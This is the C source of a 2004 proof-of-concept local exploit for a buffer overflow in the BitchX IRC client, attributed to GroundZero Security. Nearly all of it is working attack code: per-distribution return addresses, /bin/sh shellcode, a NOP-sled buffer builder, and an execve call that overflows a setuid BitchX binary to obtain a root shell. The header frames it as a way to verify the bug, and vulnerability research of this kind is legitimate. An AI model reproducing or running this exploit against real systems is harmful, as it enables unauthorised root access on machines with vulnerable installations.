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- /*
- * P.o.C Exploit Code for BitchX
- * made for Version (BitchX-1.0c20cvs) -- Date (20020325)
- *
- * (C) 2004. GroundZero Security Research and Software Development
- * http://www.groundzero-security.com
- *
- * released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
- *
- * --[ background
- *
- * BitchX contains an local exploitable Buffer Overflow condition.
- * Sometimes it is installed setUID to allow non-root users SSL
- * access for example and therfore it could be used by a mallicious
- * local user, to obtain root access. This code demonstrates the
- * described vulnerability and can be used to verify the bug on
- * your system(s).
- */
-
- #include <stdio.h>
-
- struct {
- char *distro;
- char *version;
- char *bx;
- unsigned int return_add;
- unsigned int buff_size;
- } T[] = {
- { "SuSE Linux", "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
- { "Debian Linux", "3.0", "BitchX-1.0c19", 0xbfffff5c, 2090 },
- { "END", "", "", 0, 0 },
- };
-
- char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- int usage(char *argv)
- {
- int i;
-
- fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
- fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
- fprintf (stdout, "Available Targets:\n");
- for(i=0;T[i].distro!="END";i++)
- fprintf (stdout, "\t\t\t %i: (%s %s) %s\n",i,T[i].distro,T[i].version,T[i].bx);
-
- return(0);
- }
-
- int main(int argc, char *argv[])
- {
- unsigned int i;
- unsigned int t;
-
- char buffer[3000];
- char *a1 = "sh";
- char *a2 = "-c";
- char *env[] = { "TERM=xterm", 0 };
- char *args[] = { a1, a2, buffer, 0}; /* arguments list */
-
- fprintf (stdout, "\n\n#############################################################\n");
- fprintf (stdout, "### GroundZero Security Research and Software Development ###\n");
- fprintf (stdout, "### Linux Local P.o.C Exploit for BitchX ###\n");
- fprintf (stdout, "#############################################################\n\n");
-
- if(argv[1]==NULL||argv[2]==NULL)
- {
- usage (argv[0]);
- fprintf (stdout, "\n");
- exit (0);
- }
-
- if(strlen(argv[1])>255||strlen(argv[2])>255)
- {
- exit (-1);
- }
-
- t=atoi(argv[2]);
-
- fprintf (stdout, "selected: %s %s %s\n",T[t].distro,T[t].version,T[t].bx);
- fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);
-
- for ( i=0; i<T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add; /* put return address in buffer */
- for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90; /* add nop's */
-
- memcpy (buffer+i,shellcode,strlen(shellcode)); /* generate exploit string */
-
- fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to abort.. (ctrl+c)\n",argv[1]);
- sleep(3);
-
- if((execve (argv[1],args,env))==-1) /* execute binary and smash the stack */
- {
- perror("execve");
- exit (-1);
- }
-
- exit (0);
- }
-